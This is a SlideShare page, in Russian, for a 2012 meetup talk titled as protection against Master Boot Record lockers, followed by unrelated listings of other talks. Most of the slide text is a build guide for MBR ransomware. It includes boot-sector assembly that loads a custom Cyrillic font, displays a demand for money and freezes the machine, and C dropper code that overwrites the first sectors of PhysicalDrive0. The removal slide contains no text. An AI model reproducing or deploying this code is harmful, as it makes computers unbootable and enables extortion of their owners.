SlideShare ist ein Scribd-Unternehmen logo
1 von 22
Downloaden Sie, um offline zu lesen
Тодинг Антон
rock4192@gmail.com
bydood.blogspot.com
#kranonit S04E01
2012
Защита от Master Boot Record Locker
Winlock-закат
MBR lock- рассвет
Этапы загрузки
Локер Windows
1. post
2. bios
3. 1st boot sector
4. os kernel
5. gui shell-some
6. locker exe file
MBR Локер
1. post
2. bios
3. 1st boot sector
Почему ассемблер?
● Первый загрузочный сектор всего 512 байт
● Низший уровень
● Самый маленький размер кода
Из чего состоит mbrlocker
1. Дроппер (dropper)
2. Загрузочный сектор
Дропер устанавливает загрузочные сектор
Пишем загрузочный сектор
Процесору работает в реальном режиме (16 битный код)
[BITS 16]
[ORG 0x7C00]
Необходимо настроить все сегменты, потому что мы не знаем содержания
регистров:
mov ax, cs
cli
mov ss, ax
mov es, ax
mov ds, ax
mov sp, entry
sti
Запрещаем прерывания командой cli что бы ничего не мешало
Модель памяти TINY
Для работы с экраном используются только
прерывания BIOS
mov ax,03
int 0x10
0x10 прерывание биос
3 ф-я очистить дисплэй
Делаем свой кирилический шрифт для знакогенератора.
Для матрицы 8х16 буква "Я" такая:
Вымогаем деньги на русском
Каждый ряд переводим из двоичной системы в шестнадцатеричную
00, 00, 7E, C6, C6, C6,C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00
Стоит уже подумать о высоком уровне!
Файл шрифта 1024 байта не влезает в загорузочный сектор 512 байт.
Дропером запишем его в другие секторы 2 и 3.
Из загрузичка читаем файл из 2 и 3 сектора:
mov ah,0x02
mov al,0x02
mov bx,0x1000
mov cx,0x0002
int 0x13
ф-я 2 прерывание 13 читать секторы
число секторов = 2 (2 и 3)
Подменяем английский шрифт на свой
в bx адрес таблицы
в cx с какого сектора начинаем читать.
mov ah,0x11 ; ф-я 11 - загрузка пользовательского
шрифта
xor al,al ; под ф-я 0
mov bp,bx ; в bp адрес таблицы
mov cx,64 ; в cx кол-во символов
mov dx,192 ; в dx код начала символов
int 0x10 ; прерывание
Работаем с экраном
; Пишем текст зелёным цветом
mov ah,0x13
xor al,al
mov bx,00001010b
xor dx,dx
mov cx,msgend-msg
call msgend
msg db 'Дайте мне очень много денег'
msgend:
pop bp
int 0x10
; Зависаем в цикле
jmp $
TIMES 510-($-$$) db 0
dw 0xAA55
Dropper
Копируем HEX код:
1. Сектор MBR в массив mbr[512]
2. Два сектора шрифта в массивы font1[512] и font2[512]
Записываем их в первые три сектора
HANDLE hout; // Хендл файла на три сектора
hout = CreateFile(TEXT(".PhysicalDrive0"),
GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, NULL, NULL);
WriteFile(hout, mbr, sizeof(mbr), nw, NULL);
SetFilePointer(hout, 1 * 512, nil, FILE_BEGIN);
WriteFile(hout, font1, sizeof(font1), nw, NULL);
SetFilePointer(hout, 2 * 512, nil, FILE_BEGIN);
WriteFile(hout, font2, sizeof(font2), nw, NULL);
CloseHandle(hout); // Не забываем чистить за собой
Результат работы
Устранение
Спасибо за внимание! Вопросы?
Будьте светлыми джедаями!
Тодинг Антон
rock4192@gmail.com
bydood.blogspot.com

Weitere ähnliche Inhalte

Was ist angesagt?

Операционные системы
Операционные системыОперационные системы
Операционные системыyaevents
 
Мнемоника БМВ и ее применение
Мнемоника БМВ и ее применениеМнемоника БМВ и ее применение
Мнемоника БМВ и ее применениеSQALab
 
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...GeeksLab Odessa
 
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual Machines
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual MachinesTMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual Machines
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual MachinesIosif Itkin
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3Technopark
 
Aleksey Androsov
Aleksey AndrosovAleksey Androsov
Aleksey Androsovyaevents
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3Technopark
 
More Smoked CTFs для Leet Chicken, пожалуйста!
More Smoked CTFs для Leet Chicken, пожалуйста!More Smoked CTFs для Leet Chicken, пожалуйста!
More Smoked CTFs для Leet Chicken, пожалуйста!snowytoxa
 
Recommerce изнутри
Recommerce изнутриRecommerce изнутри
Recommerce изнутриDevOWL Meetup
 
Операционные системы GNU/Linux
Операционные системы GNU/LinuxОперационные системы GNU/Linux
Операционные системы GNU/LinuxMikhail Chinkov
 
мои модули и патчи для Nginx. максим дунин. зал 1
мои модули и патчи для Nginx. максим дунин. зал 1мои модули и патчи для Nginx. максим дунин. зал 1
мои модули и патчи для Nginx. максим дунин. зал 1rit2011
 
Безопасность весна 2014 лекция 7
Безопасность весна 2014 лекция 7Безопасность весна 2014 лекция 7
Безопасность весна 2014 лекция 7Technopark
 
История PermLUG
История PermLUGИстория PermLUG
История PermLUGAlexey Fedorov
 
Open office manual
Open office manualOpen office manual
Open office manualDim Kin
 
процессоры
процессорыпроцессоры
процессорыttku
 
Hl2008 Hp Server Design 169
Hl2008 Hp Server Design 169Hl2008 Hp Server Design 169
Hl2008 Hp Server Design 169Media Gorod
 
лабораторная работа №1
лабораторная работа №1лабораторная работа №1
лабораторная работа №1НГТУ
 

Was ist angesagt? (19)

Операционные системы
Операционные системыОперационные системы
Операционные системы
 
Мнемоника БМВ и ее применение
Мнемоника БМВ и ее применениеМнемоника БМВ и ее применение
Мнемоника БМВ и ее применение
 
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
WebCamp: Developer Day: N2O: The Most Powerful Erlang Web Framework - Максим ...
 
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual Machines
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual MachinesTMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual Machines
TMPA-2015: Multi-Platform Approach to Reverse Debugging of Virtual Machines
 
Анализ трафика
Анализ трафикаАнализ трафика
Анализ трафика
 
Web осень 2012 лекция 3
Web осень 2012 лекция 3Web осень 2012 лекция 3
Web осень 2012 лекция 3
 
Aleksey Androsov
Aleksey AndrosovAleksey Androsov
Aleksey Androsov
 
Kolibri OS
Kolibri OSKolibri OS
Kolibri OS
 
Web весна 2013 лекция 3
Web весна 2013 лекция 3Web весна 2013 лекция 3
Web весна 2013 лекция 3
 
More Smoked CTFs для Leet Chicken, пожалуйста!
More Smoked CTFs для Leet Chicken, пожалуйста!More Smoked CTFs для Leet Chicken, пожалуйста!
More Smoked CTFs для Leet Chicken, пожалуйста!
 
Recommerce изнутри
Recommerce изнутриRecommerce изнутри
Recommerce изнутри
 
Операционные системы GNU/Linux
Операционные системы GNU/LinuxОперационные системы GNU/Linux
Операционные системы GNU/Linux
 
мои модули и патчи для Nginx. максим дунин. зал 1
мои модули и патчи для Nginx. максим дунин. зал 1мои модули и патчи для Nginx. максим дунин. зал 1
мои модули и патчи для Nginx. максим дунин. зал 1
 
Безопасность весна 2014 лекция 7
Безопасность весна 2014 лекция 7Безопасность весна 2014 лекция 7
Безопасность весна 2014 лекция 7
 
История PermLUG
История PermLUGИстория PermLUG
История PermLUG
 
Open office manual
Open office manualOpen office manual
Open office manual
 
процессоры
процессорыпроцессоры
процессоры
 
Hl2008 Hp Server Design 169
Hl2008 Hp Server Design 169Hl2008 Hp Server Design 169
Hl2008 Hp Server Design 169
 
лабораторная работа №1
лабораторная работа №1лабораторная работа №1
лабораторная работа №1
 

Andere mochten auch

kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Javakranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в JavaKrivoy Rog IT Community
 
kranonit S04E02 Кирил Jstor: Hacking .NET applications
kranonit S04E02 Кирил Jstor: Hacking .NET applicationskranonit S04E02 Кирил Jstor: Hacking .NET applications
kranonit S04E02 Кирил Jstor: Hacking .NET applicationsKrivoy Rog IT Community
 
kranonit S05E01 Sergey Burma: Welcome to cloud!
kranonit S05E01 Sergey Burma: Welcome to cloud!kranonit S05E01 Sergey Burma: Welcome to cloud!
kranonit S05E01 Sergey Burma: Welcome to cloud!Krivoy Rog IT Community
 
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?Krivoy Rog IT Community
 
kranonit S12E02 Артур Титов: Юзабилити форм
kranonit S12E02 Артур Титов: Юзабилити формkranonit S12E02 Артур Титов: Юзабилити форм
kranonit S12E02 Артур Титов: Юзабилити формKrivoy Rog IT Community
 
kranonit S03E01 Эдуард Лобас: Freelance
kranonit S03E01 Эдуард Лобас: Freelancekranonit S03E01 Эдуард Лобас: Freelance
kranonit S03E01 Эдуард Лобас: FreelanceKrivoy Rog IT Community
 
kranonit S14E01 Эдуард Лобас Management & IT Industry
kranonit S14E01 Эдуард Лобас Management & IT Industrykranonit S14E01 Эдуард Лобас Management & IT Industry
kranonit S14E01 Эдуард Лобас Management & IT IndustryKrivoy Rog IT Community
 
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информацииkranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информацииKrivoy Rog IT Community
 
kranonit S10E01 Андрей Бабак- Запускаем стартап
kranonit S10E01 Андрей Бабак- Запускаем стартапkranonit S10E01 Андрей Бабак- Запускаем стартап
kranonit S10E01 Андрей Бабак- Запускаем стартапKrivoy Rog IT Community
 
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективноkranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективноKrivoy Rog IT Community
 
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "Krivoy Rog IT Community
 
Технологии в коммерческих закупках будущего
Технологии в коммерческих закупках будущегоТехнологии в коммерческих закупках будущего
Технологии в коммерческих закупках будущегоVladislav Mandryka
 

Andere mochten auch (16)

kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Javakranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
kranonit S11E01 Андрей Пономарёв: Тренинг по TDD в Java
 
kranonit S04E02 Кирил Jstor: Hacking .NET applications
kranonit S04E02 Кирил Jstor: Hacking .NET applicationskranonit S04E02 Кирил Jstor: Hacking .NET applications
kranonit S04E02 Кирил Jstor: Hacking .NET applications
 
kranonit S05E01 Sergey Burma: Welcome to cloud!
kranonit S05E01 Sergey Burma: Welcome to cloud!kranonit S05E01 Sergey Burma: Welcome to cloud!
kranonit S05E01 Sergey Burma: Welcome to cloud!
 
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?
kranonit S14E02 Серёжа Пономарёв: kranonit’у уже год. Полёт нормальный?
 
kranonit S12E02 Артур Титов: Юзабилити форм
kranonit S12E02 Артур Титов: Юзабилити формkranonit S12E02 Артур Титов: Юзабилити форм
kranonit S12E02 Артур Титов: Юзабилити форм
 
kranonit S03E01 Эдуард Лобас: Freelance
kranonit S03E01 Эдуард Лобас: Freelancekranonit S03E01 Эдуард Лобас: Freelance
kranonit S03E01 Эдуард Лобас: Freelance
 
Kranonit s16 (python). dmitry furzenko
Kranonit s16 (python). dmitry furzenkoKranonit s16 (python). dmitry furzenko
Kranonit s16 (python). dmitry furzenko
 
kranonit S14E01 Эдуард Лобас Management & IT Industry
kranonit S14E01 Эдуард Лобас Management & IT Industrykranonit S14E01 Эдуард Лобас Management & IT Industry
kranonit S14E01 Эдуард Лобас Management & IT Industry
 
Kranonit s16 (python). sergey burma
Kranonit s16 (python). sergey burmaKranonit s16 (python). sergey burma
Kranonit s16 (python). sergey burma
 
Kranonit S18 Pavlov Evgeniy
Kranonit S18 Pavlov Evgeniy Kranonit S18 Pavlov Evgeniy
Kranonit S18 Pavlov Evgeniy
 
Kranonit S18 Lobova Elena
Kranonit S18 Lobova ElenaKranonit S18 Lobova Elena
Kranonit S18 Lobova Elena
 
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информацииkranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
kranonit S07E01 Евгений Василенко: Методы криптографической защиты информации
 
kranonit S10E01 Андрей Бабак- Запускаем стартап
kranonit S10E01 Андрей Бабак- Запускаем стартапkranonit S10E01 Андрей Бабак- Запускаем стартап
kranonit S10E01 Андрей Бабак- Запускаем стартап
 
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективноkranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
kranonitS20 Сергей Бурма. Django - легко, быстро, эффективно
 
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
Kranonit S18 Chernomorov Vasiliy "Как создать игру и не сойти с ума "
 
Технологии в коммерческих закупках будущего
Технологии в коммерческих закупках будущегоТехнологии в коммерческих закупках будущего
Технологии в коммерческих закупках будущего
 

Ähnlich wie kranonit S04E01 Антон: Защита от Master Boot Record Locker

SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...
SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...
SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...Mail.ru Group
 
Волков не бояться! Бизнес логика и РСУБД
Волков не бояться! Бизнес логика и РСУБДВолков не бояться! Бизнес логика и РСУБД
Волков не бояться! Бизнес логика и РСУБДSergey Melekhin
 
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»Tanya Denisyuk
 
НуП_Лекция 5. Управление видеосистемой.ppt
НуП_Лекция 5. Управление видеосистемой.pptНуП_Лекция 5. Управление видеосистемой.ppt
НуП_Лекция 5. Управление видеосистемой.pptdinarium2016
 
лекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикалекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикаGulnaz Shakirova
 
лекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикалекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикаGulnaz Shakirova
 
Алексей Андросов - Debugger: Отладка кода
Алексей Андросов - Debugger: Отладка кодаАлексей Андросов - Debugger: Отладка кода
Алексей Андросов - Debugger: Отладка кодаYandex
 
Александр Сомов "C++: препроцессор, компилятор, компоновщик"
Александр Сомов "C++: препроцессор, компилятор, компоновщик"Александр Сомов "C++: препроцессор, компилятор, компоновщик"
Александр Сомов "C++: препроцессор, компилятор, компоновщик"Yandex
 

Ähnlich wie kranonit S04E01 Антон: Защита от Master Boot Record Locker (9)

SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...
SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...
SQL-боттлнеки: поиск и устранение узких мест при масштабировании, Михаил Нови...
 
Волков не бояться! Бизнес логика и РСУБД
Волков не бояться! Бизнес логика и РСУБДВолков не бояться! Бизнес логика и РСУБД
Волков не бояться! Бизнес логика и РСУБД
 
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
Юрий Насретдинов-«Сбор логов в «облаке» в Badoo»
 
НуП_Лекция 5. Управление видеосистемой.ppt
НуП_Лекция 5. Управление видеосистемой.pptНуП_Лекция 5. Управление видеосистемой.ppt
НуП_Лекция 5. Управление видеосистемой.ppt
 
лекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикалекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатика
 
лекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатикалекция 5 представление информации в эвм информатика
лекция 5 представление информации в эвм информатика
 
1k speedup
1k speedup1k speedup
1k speedup
 
Алексей Андросов - Debugger: Отладка кода
Алексей Андросов - Debugger: Отладка кодаАлексей Андросов - Debugger: Отладка кода
Алексей Андросов - Debugger: Отладка кода
 
Александр Сомов "C++: препроцессор, компилятор, компоновщик"
Александр Сомов "C++: препроцессор, компилятор, компоновщик"Александр Сомов "C++: препроцессор, компилятор, компоновщик"
Александр Сомов "C++: препроцессор, компилятор, компоновщик"
 

Mehr von Krivoy Rog IT Community

kranonit S15 Vladimir Melnik - Ruby on Rails, BDD
kranonit S15 Vladimir Melnik - Ruby on Rails, BDDkranonit S15 Vladimir Melnik - Ruby on Rails, BDD
kranonit S15 Vladimir Melnik - Ruby on Rails, BDDKrivoy Rog IT Community
 
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушекkranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушекKrivoy Rog IT Community
 
kranonit S06E01 Игорь Цинько: High load
kranonit S06E01 Игорь Цинько: High loadkranonit S06E01 Игорь Цинько: High load
kranonit S06E01 Игорь Цинько: High loadKrivoy Rog IT Community
 
kranonit S07E02 nixoid: Будущее электронных денег
kranonit S07E02 nixoid: Будущее электронных денегkranonit S07E02 nixoid: Будущее электронных денег
kranonit S07E02 nixoid: Будущее электронных денегKrivoy Rog IT Community
 
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игрkranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игрKrivoy Rog IT Community
 
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальностиkranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальностиKrivoy Rog IT Community
 
kranonit S01E02 Игорь Цинько: Как искать работу
kranonit S01E02 Игорь Цинько: Как искать работуkranonit S01E02 Игорь Цинько: Как искать работу
kranonit S01E02 Игорь Цинько: Как искать работуKrivoy Rog IT Community
 
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1Krivoy Rog IT Community
 

Mehr von Krivoy Rog IT Community (9)

Kranonit sponsorskoe predlozhenie
Kranonit sponsorskoe predlozhenieKranonit sponsorskoe predlozhenie
Kranonit sponsorskoe predlozhenie
 
kranonit S15 Vladimir Melnik - Ruby on Rails, BDD
kranonit S15 Vladimir Melnik - Ruby on Rails, BDDkranonit S15 Vladimir Melnik - Ruby on Rails, BDD
kranonit S15 Vladimir Melnik - Ruby on Rails, BDD
 
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушекkranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
kranonit S06E02 Артём Юрков: Как все успеть и не слететь с катушек
 
kranonit S06E01 Игорь Цинько: High load
kranonit S06E01 Игорь Цинько: High loadkranonit S06E01 Игорь Цинько: High load
kranonit S06E01 Игорь Цинько: High load
 
kranonit S07E02 nixoid: Будущее электронных денег
kranonit S07E02 nixoid: Будущее электронных денегkranonit S07E02 nixoid: Будущее электронных денег
kranonit S07E02 nixoid: Будущее электронных денег
 
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игрkranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
kranonit S02E02 Стас Чирва: Unity3D Разработка казуальных и социальных игр
 
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальностиkranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
kranonit S02E01 Дмитрий Свириденко- HTML5: Поздравляю, ты в новой реальности
 
kranonit S01E02 Игорь Цинько: Как искать работу
kranonit S01E02 Игорь Цинько: Как искать работуkranonit S01E02 Игорь Цинько: Как искать работу
kranonit S01E02 Игорь Цинько: Как искать работу
 
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
kranonit S01E01 Серёжа Пономарёв: Современный программист 2.1
 

kranonit S04E01 Антон: Защита от Master Boot Record Locker

  • 4. Этапы загрузки Локер Windows 1. post 2. bios 3. 1st boot sector 4. os kernel 5. gui shell-some 6. locker exe file MBR Локер 1. post 2. bios 3. 1st boot sector
  • 5. Почему ассемблер? ● Первый загрузочный сектор всего 512 байт ● Низший уровень ● Самый маленький размер кода
  • 6. Из чего состоит mbrlocker 1. Дроппер (dropper) 2. Загрузочный сектор Дропер устанавливает загрузочные сектор
  • 7. Пишем загрузочный сектор Процесору работает в реальном режиме (16 битный код) [BITS 16] [ORG 0x7C00] Необходимо настроить все сегменты, потому что мы не знаем содержания регистров: mov ax, cs cli mov ss, ax mov es, ax mov ds, ax mov sp, entry sti Запрещаем прерывания командой cli что бы ничего не мешало
  • 8. Модель памяти TINY Для работы с экраном используются только прерывания BIOS mov ax,03 int 0x10 0x10 прерывание биос 3 ф-я очистить дисплэй
  • 9. Делаем свой кирилический шрифт для знакогенератора. Для матрицы 8х16 буква "Я" такая: Вымогаем деньги на русском Каждый ряд переводим из двоичной системы в шестнадцатеричную 00, 00, 7E, C6, C6, C6,C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00
  • 10.
  • 11. Стоит уже подумать о высоком уровне! Файл шрифта 1024 байта не влезает в загорузочный сектор 512 байт. Дропером запишем его в другие секторы 2 и 3. Из загрузичка читаем файл из 2 и 3 сектора: mov ah,0x02 mov al,0x02 mov bx,0x1000 mov cx,0x0002 int 0x13 ф-я 2 прерывание 13 читать секторы число секторов = 2 (2 и 3)
  • 12. Подменяем английский шрифт на свой в bx адрес таблицы в cx с какого сектора начинаем читать. mov ah,0x11 ; ф-я 11 - загрузка пользовательского шрифта xor al,al ; под ф-я 0 mov bp,bx ; в bp адрес таблицы mov cx,64 ; в cx кол-во символов mov dx,192 ; в dx код начала символов int 0x10 ; прерывание
  • 13. Работаем с экраном ; Пишем текст зелёным цветом mov ah,0x13 xor al,al mov bx,00001010b xor dx,dx mov cx,msgend-msg call msgend msg db 'Дайте мне очень много денег' msgend: pop bp int 0x10 ; Зависаем в цикле jmp $ TIMES 510-($-$$) db 0 dw 0xAA55
  • 14. Dropper Копируем HEX код: 1. Сектор MBR в массив mbr[512] 2. Два сектора шрифта в массивы font1[512] и font2[512] Записываем их в первые три сектора HANDLE hout; // Хендл файла на три сектора hout = CreateFile(TEXT(".PhysicalDrive0"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); WriteFile(hout, mbr, sizeof(mbr), nw, NULL); SetFilePointer(hout, 1 * 512, nil, FILE_BEGIN); WriteFile(hout, font1, sizeof(font1), nw, NULL); SetFilePointer(hout, 2 * 512, nil, FILE_BEGIN); WriteFile(hout, font2, sizeof(font2), nw, NULL); CloseHandle(hout); // Не забываем чистить за собой
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22. Спасибо за внимание! Вопросы? Будьте светлыми джедаями! Тодинг Антон rock4192@gmail.com bydood.blogspot.com